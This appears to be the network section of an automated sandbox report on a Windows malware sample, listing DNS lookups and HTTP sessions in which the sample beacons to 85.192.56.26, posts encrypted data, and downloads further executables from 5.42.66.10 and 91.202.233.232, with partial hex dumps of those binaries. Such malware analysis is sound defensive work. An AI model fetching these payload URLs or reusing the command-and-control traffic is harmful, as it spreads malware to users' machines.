May 24, 2024 13:44:05.944564104 CEST	1.1.1.1	192.168.2.4	0x5319	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		44.235.180.78	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:05.944564104 CEST	1.1.1.1	192.168.2.4	0x5319	No error (0)	checkdata-1114476139.us-west-2.elb.amazonaws.com		44.237.26.169	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:06.172605991 CEST	1.1.1.1	192.168.2.4	0x314c	No error (0)	skrptfiles.tracemonitors.com	d1u0l9f6kr1di3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 13:44:06.172605991 CEST	1.1.1.1	192.168.2.4	0x314c	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.36	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:06.172605991 CEST	1.1.1.1	192.168.2.4	0x314c	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.49	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:06.172605991 CEST	1.1.1.1	192.168.2.4	0x314c	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.29	A (IP address)	IN (0x0001)	false
May 24, 2024 13:44:06.172605991 CEST	1.1.1.1	192.168.2.4	0x314c	No error (0)	d1u0l9f6kr1di3.cloudfront.net		13.225.78.22	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.192.56.26	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:41:57.996253014 CEST	207	OUT	GET /api/bing_release.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 85.192.56.26
May 24, 2024 13:41:58.711138010 CEST	261	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:41:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 68 61 72 72 79 33 31 33 Data Ascii: harry313
May 24, 2024 13:42:01.478782892 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 113 Host: 85.192.56.26
May 24, 2024 13:42:01.478838921 CEST	113	OUT	Data Raw: 64 61 74 61 3d 38 34 6c 59 78 79 6e 2d 64 39 36 4d 6c 72 67 71 42 42 4f 70 5a 70 79 41 4e 35 43 6f 64 55 66 38 55 6c 56 42 4c 43 72 41 79 74 4e 63 45 4b 67 36 6c 7a 35 30 6f 52 75 69 70 67 4c 36 6c 79 48 30 62 52 36 4e 54 6c 66 35 75 78 53 6a 77 Data Ascii: data=84lYxyn-d96MlrgqBBOpZpyAN5CodUf8UlVBLCrAytNcEKg6lz50oRuipgL6lyH0bR6NTlf5uxSjw8cltfqaOa_x4zJgwjxsJyrspruf03w=
May 24, 2024 13:42:01.887898922 CEST	382	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 128 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 55 2b 61 33 38 71 4d 6d 54 59 61 44 6a 55 6d 79 48 73 77 32 2b 79 6b 49 50 36 4c 70 4a 50 45 64 75 7a 4f 6f 65 49 61 68 71 4d 52 6d 53 6b 41 41 6c 6e 4f 36 65 54 6b 59 63 58 49 64 54 77 2f 75 6c 63 36 52 4f 77 6f 58 75 4a 53 6f 74 6d 79 71 59 6d 75 4f 43 50 51 57 6e 42 78 64 42 6e 73 36 48 74 6b 57 44 46 6a 6d 76 2b 32 67 7a 76 55 75 67 52 7a 49 78 49 71 6c 67 30 48 39 45 53 6b 72 Data Ascii: U+a38qMmTYaDjUmyHsw2+ykIP6LpJPEduzOoeIahqMRmSkAAlnO6eTkYcXIdTw/ulc6ROwoXuJSotmyqYmuOCPQWnBxdBns6HtkWDFjmv+2gzvUugRzIxIqlg0H9ESkr
May 24, 2024 13:42:02.108891010 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 85.192.56.26
May 24, 2024 13:42:02.108891010 CEST	133	OUT	Data Raw: 64 61 74 61 3d 77 6a 38 6b 6d 48 42 6c 4f 64 48 36 51 47 4d 62 44 69 34 48 6f 6f 41 32 56 36 79 66 6b 73 67 7a 6f 67 55 52 74 47 59 43 54 2d 52 43 4a 49 75 51 42 35 34 4f 33 61 6c 70 37 61 6b 37 57 61 4d 64 51 4b 7a 35 35 6b 52 45 77 70 65 46 6c Data Ascii: data=wj8kmHBlOdH6QGMbDi4HooA2V6yfksgzogURtGYCT-RCJIuQB54O3alp7ak7WaMdQKz55kREwpeFlEOS0pvm4G901TFkSMCImSWpx0doU6mDUHLVn7cyVBLQcReawIIo
May 24, 2024 13:42:02.883045912 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 4632 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 50 70 33 4b 73 4d 69 4c 72 50 69 66 78 6b 49 48 4f 65 6b 45 61 59 48 65 6a 6c 57 44 6a 38 76 6b 2f 49 37 6d 75 6c 79 36 63 35 41 2f 49 41 42 2b 67 35 34 56 68 43 6f 2f 6e 57 38 71 39 46 61 65 6e 34 71 71 6f 4d 74 31 6b 32 67 42 6f 73 78 33 69 4d 74 4a 2b 71 2b 30 68 37 58 38 6f 46 4d 62 64 2f 35 37 77 42 49 65 6e 4f 6b 77 32 51 52 41 31 49 53 78 79 66 72 4e 4a 74 35 4f 38 54 72 4d 6a 68 79 45 52 6b 57 4a 6a 49 4b 54 6f 5a 37 62 2b 45 39 44 45 78 72 4b 52 2b 65 4c 34 49 52 43 4d 6d 2f 48 45 67 6e 53 2f 78 74 57 4a 38 56 49 65 52 62 55 31 43 41 2b 69 53 76 34 6a 6a 48 65 33 70 7a 65 72 72 45 4b 2f 43 6b 34 66 61 63 63 64 77 39 32 44 77 46 58 52 76 50 79 54 74 39 4c 35 52 54 62 36 79 33 63 49 51 76 55 4c 31 50 49 4c 47 37 53 2b 2b 6d 44 31 5a 39 70 4b 33 6d 59 68 45 59 62 49 30 47 33 65 71 62 36 34 61 36 38 46 33 4a 79 77 76 5a 66 6f 4b 64 4a 71 34 78 36 54 33 68 4e 71 7a 49 66 2b 48 6c 6c 30 45 4c 6f 73 4d 36 4d 43 75 45 4f 6f 4d 48 58 54 49 6b 44 72 35 78 38 58 6c 55 55 6e 68 4e 39 62 4c 30 77 4d 77 [TRUNCATED] Data Ascii: Pp3KsMiLrPifxkIHOekEaYHejlWDj8vk/I7muly6c5A/IAB+g54VhCo/nW8q9Faen4qqoMt1k2gBosx3iMtJ+q+0h7X8oFMbd/57wBIenOkw2QRA1ISxyfrNJt5O8TrMjhyERkWJjIKToZ7b+E9DExrKR+eL4IRCMm/HEgnS/xtWJ8VIeRbU1CA+iSv4jjHe3pzerrEK/Ck4faccdw92DwFXRvPyTt9L5RTb6y3cIQvUL1PILG7S++mD1Z9pK3mYhEYbI0G3eqb64a68F3JywvZfoKdJq4x6T3hNqzIf+Hll0ELosM6MCuEOoMHXTIkDr5x8XlUUnhN9bL0wMwM7W6rReDFIUuMd9UfOXHvjG+6q7YfuStxazgGs1CdHJWc/Cpn0Y9kImST202NLZ0iZxPy3Os0YmHpgF3l/krsiIr4RQqOV/kBQulEverGaRqiR9wFn5P9iblSh4gwJ6q2tqcQM2u0+HI7FIjPhGbdPjbMFujSLt7ykNhu/GMCB9IbmsL1IQRBKDhZgSwOO3FspgGm+u/5TPEr14LmoGMEGaykAq6Ly6tN67ef7OFMqCORCjfNplcjL51jVJpbgJF4+4ozm2ORmz5JCZhgX91ZATYWW4z3qi3yEvIwwTRsvy+UcDPRTwqhGpIaK637W2KbjxfvwDlbYjKsOLDqe8DDbBJBeZonewB6hGp7R52/M38u8yTrdgXCr0CBUxMoimDI4JjXmk1qOsyH+DTUYBHv45HSIO3cga8VZwa0N5IqQasB9HbIKrR5afofTsQoKewZuwnceo9Bz2l06t8fdrLqPvXtALOEL1qNaStyyGDTno2aCRhN8wpRcObbKlZB4aC4Caq2mYTK55wc/7OVul6WrQxFQaz/npLb4FNlhyzgKL54NWeMEl7HgMcNfEqQwcGtBY0UFHUQKkj+zlZL7r5r6L9kfn21Z0UXWzM0UuFxKZcKz9KM7XB1ZL8iU7X7uASTaB
May 24, 2024 13:42:02.883677959 CEST	224	IN	Data Raw: 2b 54 69 39 5a 78 75 4e 47 4a 75 66 65 6e 55 6e 46 74 74 6d 32 38 78 67 4b 6b 72 30 66 32 38 72 4c 77 66 56 35 65 42 37 57 73 43 78 75 38 68 7a 4d 66 59 39 66 6c 38 36 41 56 39 46 50 66 74 41 52 42 72 4e 57 68 51 77 74 63 73 53 38 49 4d 72 2b 45 Data Ascii: +Ti9ZxuNGJufenUnFttm28xgKkr0f28rLwfV5eB7WsCxu8hzMfY9fl86AV9FPftARBrNWhQwtcsS8IMr+EQyCW7MtYP4hBnEfrSNcFjaD3ZeIB0TECJPgfJyG/2EruRtOwLBHHhbqPIetNJ0Rd+QqrM7D2qt+JjIOLBNEmys402VLmy3/I1eIqQ6/rYIZfzKbJ8WiTF1pHbXuHgetyv59oxghF8dNNMx
May 24, 2024 13:42:02.886044025 CEST	1236	IN	Data Raw: 66 54 5a 2f 4f 50 77 47 6f 33 4e 4a 38 50 6b 6a 58 59 63 39 76 46 54 47 6e 48 72 4f 75 42 58 49 45 66 4b 68 66 62 2f 36 30 69 57 37 73 4a 36 70 52 50 76 6b 62 63 52 68 4b 4e 54 55 4f 36 68 42 63 54 61 6e 50 4b 78 49 4b 35 35 49 6c 31 70 47 32 51 Data Ascii: fTZ/OPwGo3NJ8PkjXYc9vFTGnHrOuBXIEfKhfb/60iW7sJ6pRPvkbcRhKNTUO6hBcTanPKxIK55Il1pG2Qxr4HXaHgmmQhAY14akdpeSI2+bAnOkDLiXE7eddh/JEmuHVFBdUqLHSQ+/4rq4xD57Z58+sUTwJOMtfrOQwiDmFHrB1fUGtXIJFCmwDULLAXrRabHLaQnTb27ELMmIlh0UFtjF4MUVl9/QohflY+7wGN8if+q+D7v
May 24, 2024 13:42:02.888526917 CEST	1236	IN	Data Raw: 6c 6a 6c 71 79 4f 43 71 73 4e 76 66 79 46 58 78 72 4e 47 4e 6e 6f 33 78 6a 74 5a 61 76 6e 78 56 79 37 64 2f 54 39 71 50 46 53 74 38 34 48 34 6b 38 43 4a 42 56 58 56 4a 62 51 37 6b 55 31 2b 4c 6e 33 73 58 57 2f 36 4d 65 4c 45 73 59 30 35 47 77 65 Data Ascii: ljlqyOCqsNvfyFXxrNGNno3xjtZavnxVy7d/T9qPFSt84H4k8CJBVXVJbQ7kU1+Ln3sXW/6MeLEsY05GweRBhJpA1Wn4OznShkl94s2f2tir5yu3dM/KEZ3wnFsQ8F7vg/5gukfy9jyCXRuP9+OXLfgrYhCIBX6O16+GOtf+Vq4wHkMNqyUzEghJ/9sXn5eoF4fyfebUj1LXLkGeRfhhoUVMnVMQHJ9X6OAKLsDcylNLobbeBfc
May 24, 2024 13:42:02.888562918 CEST	955	IN	Data Raw: 43 75 37 79 2b 53 74 6a 6b 4c 73 49 52 36 61 6c 49 51 35 61 42 55 37 56 38 59 68 46 31 36 78 56 38 4a 72 68 31 67 78 78 41 33 6d 62 72 78 55 53 46 46 6e 38 36 69 36 62 52 73 48 2b 41 47 2b 38 7a 77 47 4f 34 51 51 63 61 5a 72 6b 58 42 7a 74 4e 36 Data Ascii: Cu7y+StjkLsIR6alIQ5aBU7V8YhF16xV8Jrh1gxxA3mbrxUSFFn86i6bRsH+AG+8zwGO4QQcaZrkXBztN6tKAQoEqHaSGQ1nSyM5Juee9c0SizUdgag6FC3lXKYdJVPSj1LSSPpCUsgmPy1Z6cQjiLvwHzMi++D/ihOOoDSYILtvcNGxRSCeVnQ3FNwZmv/SIiMEUO5HqYsJJ0uAZt0wkk//Q/4/qJ/fCdJ+Y0VC3ko+xSsFI/3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	5.42.66.10	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.032327890 CEST	204	OUT	HEAD /download/123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:03.787645102 CEST	276	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 02 May 2024 09:42:48 GMT ETag: "ae0000-617756d063600" Accept-Ranges: bytes Content-Length: 11403264 Content-Type: application/x-msdownload
May 24, 2024 13:42:03.788383961 CEST	213	OUT	HEAD /download/th/getimage12.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:04.034221888 CEST	393	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Default12_s.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 4788376 Content-Type: application/octet-stream
May 24, 2024 13:42:04.034440041 CEST	203	OUT	GET /download/123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 13:42:04.250339031 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 02 May 2024 09:42:48 GMT ETag: "ae0000-617756d063600" Accept-Ranges: bytes Content-Length: 11403264 Content-Type: application/x-msdownload Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 e2 5f 33 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 2c ca 00 00 00 00 00 60 8b fa 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 a5 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 91 01 64 00 00 00 00 90 a5 01 58 2c 00 00 00 59 a5 01 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 8a 8c 01 28 00 00 00 c0 57 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd_3f#,`@ 06dX,Y*(W8h.text~ `.rdata@@.data@.pdata@@.00cfg@@.tls@.text0, `.text18@.text2`h.rsrcX,.@@
May 24, 2024 13:42:04.250839949 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 99 89 01 00 00 00 00 00 00 00 00 00 00 00 00 ca 6a Data Ascii: jjEfD_0,
May 24, 2024 13:42:04.250874043 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 13:42:04.251338005 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 13:42:04.251804113 CEST	1236	IN	Data Raw: 11 43 48 d1 3d 61 6f ba a4 bd 41 69 89 86 92 75 b2 74 35 06 2f 86 d7 8a 75 0d 07 2f 86 a3 32 74 b5 06 2f 86 73 b2 75 f8 b9 2f 81 c4 41 05 bc 7b d0 79 e8 da 04 d7 1a 10 1b 27 c3 48 77 5c 43 c6 13 43 09 0c fe 21 06 9a 42 17 20 de 08 70 66 b4 dd 21 Data Ascii: CH=aoAiut5/u/2t/su/A{y'Hw\CC!B pf!rq#o*$KFb!ICW7h/K2&/0"VHg~'/2"GHHHl&/5,T!8R\|v'/4%XS2g&/79E!Fmvq
May 24, 2024 13:42:04.251837015 CEST	32	IN	Data Raw: d7 f5 0b f3 b4 6f 47 65 0b f3 b4 b7 ff 3d 0b f3 b4 1f df 6d 0b f3 b4 5f 77 75 0b f3 b4 f7 67 75 Data Ascii: oGe=m_wugu
May 24, 2024 13:42:04.362536907 CEST	1236	IN	Data Raw: 49 ce b4 f9 3b d3 13 4d 9b 26 b3 f7 97 81 c8 f5 4c 6b ff cb 3f 61 8a f3 70 85 8e 7e 33 21 13 17 02 47 de d8 44 97 59 7d d0 ba 42 da 7e 13 db cc e4 c3 54 e1 8a 58 a1 f5 c8 28 7e d8 a3 de 5c e8 66 d8 a3 de 48 f0 36 d8 a3 de 04 f0 6e d8 a3 de b4 84 Data Ascii: I;M&Lk?ap~3!GDY}B~TX(~\fH6n,L'<HpN,HD$ F:4t$Hd$ :meI;)g&OKK=oK%wKU5KOKL)hS\|<,2rPMRb2L<H
May 24, 2024 13:42:04.362570047 CEST	1236	IN	Data Raw: 3a 13 5b 99 04 f3 b4 73 6b a9 04 f3 b4 0b 0b 19 46 ce b4 85 34 9f 37 d9 94 26 b3 0b ab 99 fa 0c 4b 8b d3 71 fa 0c 4b f3 83 31 fa 0c 4b 4b 03 99 8e 62 4b e4 b6 af 61 1b 5f 73 98 ff a6 33 85 a2 e0 7a 45 61 0e 62 92 f7 d1 68 e0 42 93 15 b8 66 e1 9b Data Ascii: :[skF47&KqK1KKbKa_s3zEabhBfaaGpypwppG$}%gaDQDcoM:DF4&.dK1K TjLV\|,E>YN;w_{~ [Ai9GF\ W8D
May 24, 2024 13:42:04.363205910 CEST	1236	IN	Data Raw: b2 b5 8c 14 9b c2 23 cf 8f a5 dd b3 38 1e 6c 83 e6 3d 02 30 cd 7a 4f a1 b2 b5 cc a9 0a 70 8e 69 8d fa ca 52 1b 2a e0 1e 46 66 ca d4 4a a2 bb 6a b9 99 a3 b0 48 57 d1 88 33 4f a6 bc 95 06 65 50 a6 ef 79 05 ba 41 90 a3 0b 0f a8 54 a6 62 f3 8f fa 3f Data Ascii: #8l=0zOpiR*FfJjHW3OePyATb?];N(8]G7+z.JtEY4X[K7E MNY[K<I>y}X({\|zN{GDpGM{D>qz>-SpN@qRKkSdp
May 24, 2024 13:42:04.363580942 CEST	1236	IN	Data Raw: 00 a8 6d 7f 35 c8 80 be d3 83 f3 26 26 ea e9 20 2b 69 4b 4b 6e f7 b7 fe 74 b6 73 cd d3 7e 35 c8 80 38 ca 3e d9 07 7c 84 24 eb f9 9b 98 e3 a7 64 2d 75 4d 72 35 f5 f2 5f 46 aa 5c 7a c2 71 1c 73 2d 68 90 8c a4 c5 2c d1 2e d1 ff ff 6a d2 fa 5f 40 57 Data Ascii: m5&& +iKKnts~58>\|$d-uMr5_F\zqs-h,.j_@W*\2`Xv_7#o`BgncHj;7MaJyl"E]\|bE{}:^"OxUphKN$LOgp-()%q-?
May 24, 2024 13:42:04.363614082 CEST	1236	IN	Data Raw: f1 24 2e 41 fb 06 ca 6f ea df d9 70 7f 09 08 01 f8 1c 18 b1 3a b8 08 06 69 6c 3d de 04 cb 3f 73 a6 7e 93 54 c1 41 8a 0f 4f 75 ef 7b 2f ef 03 9d ef 7b 2f 2b 9f 76 12 eb ea e6 b7 28 e7 95 58 8e e2 71 29 af 90 86 fb c5 71 33 10 84 d0 fd 3d b3 10 84 Data Ascii: $.Aop:il=?s~TAOu{/{/+v(Xq)q3=9]P`4k%_EpLg%g]]ogmg=ug/g%g=Z;0]\|c_~MvLE0sT\nhS#Ne.;C&HJILD\|Z\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	91.202.233.232	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.037574053 CEST	223	OUT	HEAD /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 91.202.233.232 Cache-Control: no-cache
May 24, 2024 13:42:03.813611984 CEST	254	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 24 May 2024 11:41:39 GMT ETag: "271a00-61931a692e2c0" Accept-Ranges: bytes Content-Length: 2562560 Content-Type: application/x-msdos-program
May 24, 2024 13:42:03.814153910 CEST	222	OUT	GET /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 91.202.233.232 Cache-Control: no-cache
May 24, 2024 13:42:04.041107893 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 24 May 2024 11:41:39 GMT ETag: "271a00-61931a692e2c0" Accept-Ranges: bytes Content-Length: 2562560 Content-Type: application/x-msdos-program Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 96 0f 00 00 80 17 00 00 00 00 00 98 a4 0f 00 00 10 00 00 00 b0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*@'@"p0H6 CODE `DATA @BSS.idata"$@.tls.rdata @P.relocH608@P.rsrcp@P''@P
May 24, 2024 13:42:04.042712927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 Data Ascii: @Boolean@FalseTrue@,@WideCharD@CharX@Shortintp@Smallint@Integer@Byte@Word@
May 24, 2024 13:42:04.044676065 CEST	1236	IN	Data Raw: 40 00 88 14 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 14 40 00 0c 00 00 00 f8 13 40 00 10 37 40 00 1c 37 40 00 20 37 40 00 24 37 40 00 18 37 40 00 58 34 40 00 74 34 40 00 b0 34 40 00 ac 63 40 00 10 54 43 6f Data Ascii: @@@@7@7@ 7@$7@7@X4@t4@4@c@TContainedObject@@TBoundArray@System8@TDateTime%O%O%O%O%O%O%O%O%O%O%O
May 24, 2024 13:42:04.046679020 CEST	1236	IN	Data Raw: 44 24 10 77 3b 3b 74 24 08 73 04 89 74 24 08 8b c6 03 43 0c 3b 44 24 0c 76 04 89 44 24 0c 68 00 80 00 00 6a 00 56 e8 ef fc ff ff 85 c0 75 0a c7 05 c8 d5 4f 00 01 00 00 00 8b c3 e8 8a fd ff ff 8b df 81 fb ec d5 4f 00 75 a7 8b 44 24 04 33 d2 89 10 Data Ascii: D$w;;t$st$C;D$vD$hjVuOOuD$3\|$tD$T$D$+D$T$B]_^[SVWUL$$$T$D$(D$+T$B5O<^~;v;\|$v\|$;vjh+WS&uD$
May 24, 2024 13:42:04.046715021 CEST	1236	IN	Data Raw: ff ff 33 c0 a3 24 d6 4f 00 8b 1d ec d5 4f 00 eb 12 68 00 80 00 00 6a 00 8b 43 08 50 e8 25 f8 ff ff 8b 1b 81 fb ec d5 4f 00 75 e6 b8 ec d5 4f 00 e8 89 f8 ff ff b8 fc d5 4f 00 e8 7f f8 ff ff b8 28 d6 4f 00 e8 75 f8 ff ff a1 e4 d5 4f 00 85 c0 74 17 Data Ascii: 3$OOhjCP%OuOO(OuOtOPOu3ZYYdh@=MOthOhO1[]S;OuPOPH8;uy$O3T$y$OTP
May 24, 2024 13:42:04.050620079 CEST	1236	IN	Data Raw: 04 00 00 7f 16 8b 15 24 d6 4f 00 8b 54 82 f4 85 d2 75 08 40 3d 01 04 00 00 75 ea 8b c2 c3 53 56 57 55 8b f0 bf 18 d6 4f 00 bd 1c d6 4f 00 8b 1d 10 d6 4f 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b Data Ascii: $OTu@=uSVWUOOO;sC;~{s[;sB;tcuNu3;u)u}}u3E O5 OO5OLS+\|T;uC
May 24, 2024 13:42:04.052619934 CEST	1236	IN	Data Raw: 8b c3 8b 50 08 01 14 24 e8 e9 f6 ff ff 83 3c 24 0c 7c 1b 8b dd 03 de 8b 04 24 83 c8 02 89 03 8b c3 83 c0 04 e8 91 f7 ff ff e9 fe 00 00 00 8b f7 e9 f7 00 00 00 8b c6 2b c7 89 44 24 04 3b 1d 20 d6 4f 00 75 67 a1 1c d6 4f 00 3b 44 24 04 7c 53 8b 44 Data Ascii: P$<$\|$+D$; OugO;D$\|SD$)OD$ O=O}O O5O3O+OE%u>uMH$$;L$}$$)D$,D$)$<$\|$n:
